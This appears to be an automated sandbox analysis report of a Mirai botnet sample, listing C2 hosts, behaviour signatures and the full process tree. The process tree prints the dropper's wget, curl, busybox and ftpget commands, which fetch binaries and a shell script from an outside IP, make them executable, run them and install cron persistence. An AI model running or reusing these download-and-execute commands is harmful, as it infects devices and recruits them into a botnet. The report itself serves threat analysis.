Analysis
- max time kernel
149s - max time network
153s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20240611-en - resource tags
- submitted
02/09/2024, 01:10
General
- Target 85fa682965abee90f408841d28da35aa16ef5432b3d8f4d18839356febf9c4e1.unknown
- Size 8KB
- Sample240902-bjdvhaxcmn
- SHA256 85fa682965abee90f408841d28da35aa16ef5432b3d8f4d18839356febf9c4e1
Score
10/10
Malware Config
Extracted
Family
-
mirai
C2
-
www.ckea.ru
-
www.akck.ru
-
45.152.112.46
Signatures
- Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
- Contacts a large (42975) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- Executes dropped EXE 1 IoCs
- Creates/modifies Cron job 1 TTPs 3 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Writes file to system bin folder 1 TTPs 54 IoCs
- Changes its process name 1 IoCs
- Reads runtime system information 3 IoCs
Reads data from /proc virtual filesystem.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/85fa682965abee90f408841d28da35aa16ef5432b3d8f4d18839356febf9c4e1.unknown/tmp/85fa682965abee90f408841d28da35aa16ef5432b3d8f4d18839356febf9c4e1.unknown1⤵
- Writes file to system bin folder
-
/usr/bin/idid2⤵
- Reads runtime system information
-
-
/bin/sedsed -n "s/^uid=[0-9]\\+(\\([^)]\\+\\)).*/\\1/p"2⤵
- Reads runtime system information
-
-
/usr/bin/whoamiwhoami2⤵
-
-
/usr/bin/wgetwget "http://45.152.112.46/firmware_v4?user=root&dir=/bin"2⤵
- Writes file to system bin folder
-
-
/usr/bin/wgetwget http://45.159.211.121/firmware/firmware.x86_64 -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/bin/chmodchmod 0755 ./feankzzyx2⤵
-
-
/bin/feankzzyx./feankzzyx2⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to system bin folder
- Changes its process name
- Writes file to tmp directory
-
/bin/shsh -c "hostname -I"3⤵
-
/bin/hostnamehostname -I4⤵
-
-
-
/bin/shsh -c "hostname -I"3⤵
-
/bin/hostnamehostname -I4⤵
-
-
-
/bin/shsh -c "hostname -I"3⤵
-
/bin/hostnamehostname -I4⤵
-
-
-
/bin/shsh -c "hostname -I"3⤵
-
/bin/hostnamehostname -I4⤵
-
-
-
/bin/shsh -c "crontab /var/spool/cron/crontabs/root"3⤵
-
/usr/bin/crontabcrontab /var/spool/cron/crontabs/root4⤵
- Creates/modifies Cron job
-
-
-
/bin/shsh -c "crontab /var/spool/cron/crontabs/root"3⤵
-
/usr/bin/crontabcrontab /var/spool/cron/crontabs/root4⤵
- Creates/modifies Cron job
-
-
-
-
/usr/bin/wgetwget http://45.159.211.121/firmware/firmware.armv4l -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/usr/bin/wgetwget http://45.159.211.121/firmware/firmware.armv5l -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/usr/bin/wgetwget http://45.159.211.121/firmware/firmware.armv6l -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/usr/bin/wgetwget http://45.159.211.121/firmware/firmware.armv7l -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/usr/bin/wgetwget http://45.159.211.121/firmware/firmware.i586 -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/usr/bin/wgetwget http://45.159.211.121/firmware/firmware.i686 -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/usr/bin/wgetwget http://45.159.211.121/firmware/firmware.m68k -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/usr/bin/wgetwget http://45.159.211.121/firmware/firmware.mips -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/usr/bin/wgetwget http://45.159.211.121/firmware/firmware.mipsel -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/usr/bin/wgetwget http://45.159.211.121/firmware/firmware.powerpc -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/usr/bin/wgetwget http://45.159.211.121/firmware/firmware.sh4 -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/usr/bin/wgetwget http://45.159.211.121/firmware/firmware.sparc -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/usr/bin/wgetwget http://45.159.211.121/firmware/firmware.arm-linux-gnueabihf -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/usr/bin/wgetwget http://45.159.211.121/firmware/firmware.arc -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/bin/rmrm ff02⤵
-
-
/bin/rmrm ff12⤵
-
-
/bin/rmrm ff22⤵
-
-
/usr/bin/curlcurl http://45.159.211.121/firmware/firmware.x86_64 -o feankzzyx2⤵
- Writes file to system bin folder
-
-
/usr/bin/curlcurl http://45.159.211.121/firmware/firmware.armv4l -o feankzzyx2⤵
- Writes file to system bin folder
-
-
/usr/bin/curlcurl http://45.159.211.121/firmware/firmware.armv5l -o feankzzyx2⤵
- Writes file to system bin folder
-
-
/usr/bin/curlcurl http://45.159.211.121/firmware/firmware.armv6l -o feankzzyx2⤵
- Writes file to system bin folder
-
-
/usr/bin/curlcurl http://45.159.211.121/firmware/firmware.armv7l -o feankzzyx2⤵
- Writes file to system bin folder
-
-
/usr/bin/curlcurl http://45.159.211.121/firmware/firmware.i586 -o feankzzyx2⤵
- Writes file to system bin folder
-
-
/usr/bin/curlcurl http://45.159.211.121/firmware/firmware.i686 -o feankzzyx2⤵
- Writes file to system bin folder
-
-
/usr/bin/curlcurl http://45.159.211.121/firmware/firmware.m68k -o feankzzyx2⤵
- Writes file to system bin folder
-
-
/usr/bin/curlcurl http://45.159.211.121/firmware/firmware.mips -o feankzzyx2⤵
- Writes file to system bin folder
-
-
/usr/bin/curlcurl http://45.159.211.121/firmware/firmware.mipsel -o feankzzyx2⤵
- Writes file to system bin folder
-
-
/usr/bin/curlcurl http://45.159.211.121/firmware/firmware.powerpc -o feankzzyx2⤵
- Writes file to system bin folder
-
-
/usr/bin/curlcurl http://45.159.211.121/firmware/firmware.sh4 -o feankzzyx2⤵
- Writes file to system bin folder
-
-
/usr/bin/curlcurl http://45.159.211.121/firmware/firmware.sparc -o feankzzyx2⤵
- Writes file to system bin folder
-
-
/usr/bin/curlcurl http://45.159.211.121/firmware/firmware.arm-linux-gnueabihf -o feankzzyx2⤵
- Writes file to system bin folder
-
-
/usr/bin/curlcurl http://45.159.211.121/firmware/firmware.arc -o feankzzyx2⤵
- Writes file to system bin folder
-
-
/bin/rmrm ff02⤵
-
-
/bin/rmrm ff12⤵
-
-
/bin/rmrm ff22⤵
-
-
/bin/busyboxbusybox wget http://45.159.211.121/firmware/firmware.x86_64 -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/bin/busyboxbusybox wget http://45.159.211.121/firmware/firmware.armv4l -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/bin/busyboxbusybox wget http://45.159.211.121/firmware/firmware.armv5l -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/bin/busyboxbusybox wget http://45.159.211.121/firmware/firmware.armv6l -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/bin/busyboxbusybox wget http://45.159.211.121/firmware/firmware.armv7l -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/bin/busyboxbusybox wget http://45.159.211.121/firmware/firmware.i586 -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/bin/busyboxbusybox wget http://45.159.211.121/firmware/firmware.i686 -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/bin/busyboxbusybox wget http://45.159.211.121/firmware/firmware.m68k -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/bin/busyboxbusybox wget http://45.159.211.121/firmware/firmware.mips -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/bin/busyboxbusybox wget http://45.159.211.121/firmware/firmware.mipsel -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/bin/busyboxbusybox wget http://45.159.211.121/firmware/firmware.powerpc -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/bin/busyboxbusybox wget http://45.159.211.121/firmware/firmware.sh4 -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/bin/busyboxbusybox wget http://45.159.211.121/firmware/firmware.sparc -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/bin/busyboxbusybox wget http://45.159.211.121/firmware/firmware.arm-linux-gnueabihf -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/bin/busyboxbusybox wget http://45.159.211.121/firmware/firmware.arc -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/bin/rmrm ff02⤵
-
-
/bin/rmrm ff12⤵
-
-
/bin/rmrm ff22⤵
-
-
/bin/busyboxbusybox curl http://45.159.211.121/firmware/firmware.x86_64 -o feankzzyx2⤵
-
-
/bin/busyboxbusybox curl http://45.159.211.121/firmware/firmware.armv4l -o feankzzyx2⤵
-
-
/bin/busyboxbusybox curl http://45.159.211.121/firmware/firmware.armv5l -o feankzzyx2⤵
-
-
/bin/busyboxbusybox curl http://45.159.211.121/firmware/firmware.armv6l -o feankzzyx2⤵
-
-
/bin/busyboxbusybox curl http://45.159.211.121/firmware/firmware.armv7l -o feankzzyx2⤵
-
-
/bin/busyboxbusybox curl http://45.159.211.121/firmware/firmware.i586 -o feankzzyx2⤵
-
-
/bin/busyboxbusybox curl http://45.159.211.121/firmware/firmware.i686 -o feankzzyx2⤵
-
-
/bin/busyboxbusybox curl http://45.159.211.121/firmware/firmware.m68k -o feankzzyx2⤵
-
-
/bin/busyboxbusybox curl http://45.159.211.121/firmware/firmware.mips -o feankzzyx2⤵
-
-
/bin/busyboxbusybox curl http://45.159.211.121/firmware/firmware.mipsel -o feankzzyx2⤵
-
-
/bin/busyboxbusybox curl http://45.159.211.121/firmware/firmware.powerpc -o feankzzyx2⤵
-
-
/bin/busyboxbusybox curl http://45.159.211.121/firmware/firmware.sh4 -o feankzzyx2⤵
-
-
/bin/busyboxbusybox curl http://45.159.211.121/firmware/firmware.sparc -o feankzzyx2⤵
-
-
/bin/busyboxbusybox wget http://45.159.211.121/firmware/firmware.arm-linux-gnueabihf -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/bin/busyboxbusybox wget http://45.159.211.121/firmware/firmware.arc -O feankzzyx2⤵
- Writes file to system bin folder
-
-
/bin/rmrm ff02⤵
-
-
/bin/rmrm ff12⤵
-
-
/bin/rmrm ff22⤵
-
-
/bin/rmrm allah_is_satan2⤵
-
-
/bin/sleepsleep 132⤵
-
-
/bin/busyboxbusybox ftpget 45.159.211.121 allah_is_satan /firmware/firmware.sh2⤵
-
-
/bin/shsh ./allah_is_satan2⤵
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
ALLAH_IS_EVIL.txt
allah_is_satan
current_user2
feankzzyx
feankzzyx
firmware_v4?user=root&dir=%2Fbin
d
d
d
d
allah_is_prick.html
root
root
tmp.0WtyLY